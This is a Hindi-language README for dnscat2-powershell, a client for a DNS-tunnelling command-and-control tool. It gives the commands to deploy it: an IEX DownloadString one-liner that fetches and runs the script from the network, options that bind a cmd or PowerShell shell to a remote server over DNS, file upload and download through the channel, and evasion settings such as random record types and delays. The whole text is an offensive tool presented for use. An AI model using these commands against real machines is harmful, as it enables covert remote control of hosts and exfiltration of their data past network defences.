
Powershell के लिए एक क्लाइंट dnscat2, एक एन्क्रिप्टेड DNS कमांड और कंट्रोल टूल।
dnscat2 एक DNS कोवर्ट चैनल उपकरण है जो @iagox86 (Ron Bowes) द्वारा बनाया गया है, जिसका उपयोग DNS अनुरोधों के माध्यम से डेटा स्थानांतरित करने के लिए किया जाता है।
यह dnscat2 C क्लाइंट का एक पावरशेल संस्करण है।
इस स्क्रिप्ट का उपयोग करने के लिए, आपको रूबी dnscat2 सर्वर की आवश्यकता होगी। सर्वर चलाते समय --no-cache विकल्प जोड़ना सुनिश्चित करें। यह क्लाइंट सर्वर की कैशिंग के साथ संगत नहीं है।
पहले, dnscat2 सर्वर स्थापित करें। --no-cache का उपयोग करके कैशिंग को अक्षम करके सर्वर प्रारंभ करें। आपके सर्वर को प्रारंभ करने का कमांड कुछ इस तरह दिखना चाहिए: ruby dnscat2.rb --dns="domain=example.com" --no-cache
इसके बाद, Windows Powershell (संस्करण 2.0 या बाद का) लॉन्च करें। आप dnscat2 पावरशेल फ़ंक्शन लोड करने के लिए इस कमांड का उपयोग कर सकते हैं:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 वास्तविक फ़ंक्शन है जो क्लाइंट के रूप में उपयोग किया जाता है। -Domain का उपयोग करके dnscat2 सर्वर निर्दिष्ट करें।
एक कमांड सत्र शुरू करें, और 8.8.8.8 पर पोर्ट 53 पर DNS अनुरोध भेजें:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
एक cmd शेल भेजें, और Windows में सेट डिफ़ॉल्ट DNS सर्वर पर DNS अनुरोध भेजें:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
एक कंसोल सत्र शुरू करें। केवल CNAME, MX और AAAA अनुरोधों का उपयोग करें:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
सत्र को एन्क्रिप्ट न करें। एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम है।
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
क्लाइंट सामान्य dnscat2 कमांड, या उस कमांड के पावरशेल संस्करण को संभाल सकता है। किसी कमांड के पावरशेल संस्करण का उपयोग करने के लिए, विशिष्ट पैरामीटर सेट करें जो क्लाइंट पहचान लेगा (ये सर्वर पर कमांड सत्र से चलाए गए कमांड हैं):
एक नया सत्र शुरू करें जो पावरशेल शेल का अनुकरण करता है, जैसे ExecPS:
exec psh
सर्वर पर app.exe को एक हेक्स स्ट्रिंग में अपलोड करें जो $app पावरशेल वेरिएबल में संग्रहीत है:
upload app.exe hex:$app
$app पावरशेल वेरिएबल में संग्रहीत बाइट ऐरे को सर्वर पर app.exe में डाउनलोड करें:
download bytes:$app app.exe
-Domain <String> dnscat2 सर्वर द्वारा उपयोग किया जा रहा डोमेन।
-DNSServer <String> DNS क्वेरी भेजने के लिए होस्टनाम या IP पता। (डिफ़ॉल्ट: Windows द्वारा सेट)
-DNSPort <Int32> DNS क्वेरी भेजने के लिए पोर्ट। (डिफ़ॉल्ट: 53)
-Command एक कमांड सत्र शुरू करें। (डिफ़ॉल्ट)
-Exec <String> किसी प्रक्रिया के I/O को Dnscat2 सत्र से लिंक करें।
-Console कंसोल के I/O को Dnscat2 सत्र से लिंक करें।
-ExecPS एक पावरशेल सत्र का अनुकरण करें और I/O को Dnscat2 सत्र से लिंक करें।
चेतावनी: बाहर निकलने पर पूरा dnscat2 क्लाइंट समाप्त हो जाएगा, न कि केवल सत्र।
-PreSharedSecret प्रमाणीकरण और MITM को रोकने के लिए सर्वर पर समान गुप्त कोड सेट करें।
-NoEncryption एन्क्रिप्शन का उपयोग न करें।
-LookupTypes <String[]> लुकअप प्रकारों की एक सरणी सेट करें जिनके बीच बेतरतीब ढंग से स्विच किया जाए।
केवल TXT, MX, CNAME, A और AAAA रिकॉर्ड समर्थित हैं। डिफ़ॉल्ट: @(TXT, MX, CNAME)
-Delay <Int32> प्रत्येक अनुरोध के बीच विलंब सेट करें, मिलीसेकंड में। (डिफ़ॉल्ट: 0)
-MaxRandomDelay <Int32> सामान्य विलंब में जोड़े जाने वाले यादृच्छिक विलंब का अधिकतम मान सेट करें, मिलीसेकंड में। (डिफ़ॉल्ट: 0)
-MaxPacketSize <Int32> dnscat2 पैकेट की अधिकतम लंबाई। (डिफ़ॉल्ट: 240)
-Name <String> आपके dnscat2 सत्र का नाम। (डिफ़ॉल्ट: होस्टनाम)
dnscat2-powershell Invoke-Expression को सर्वर से डेटा पास करके एक पावरशेल सत्र का अनुकरण करता है। केवल stdout लौटाया जाता है, और जब तक क्लाइंट चल रहा है, तब तक वेरिएबल संरक्षित रहते हैं। **"exit" और "break" जैसी चीज़ों से सावधान रहें जो पावरशेल से बाहर निकलती हैं, क्योंकि पूरा dnscat2-powershell क्लाइंट बाहर निकल जाएगा, न कि केवल ExecPS सत्र।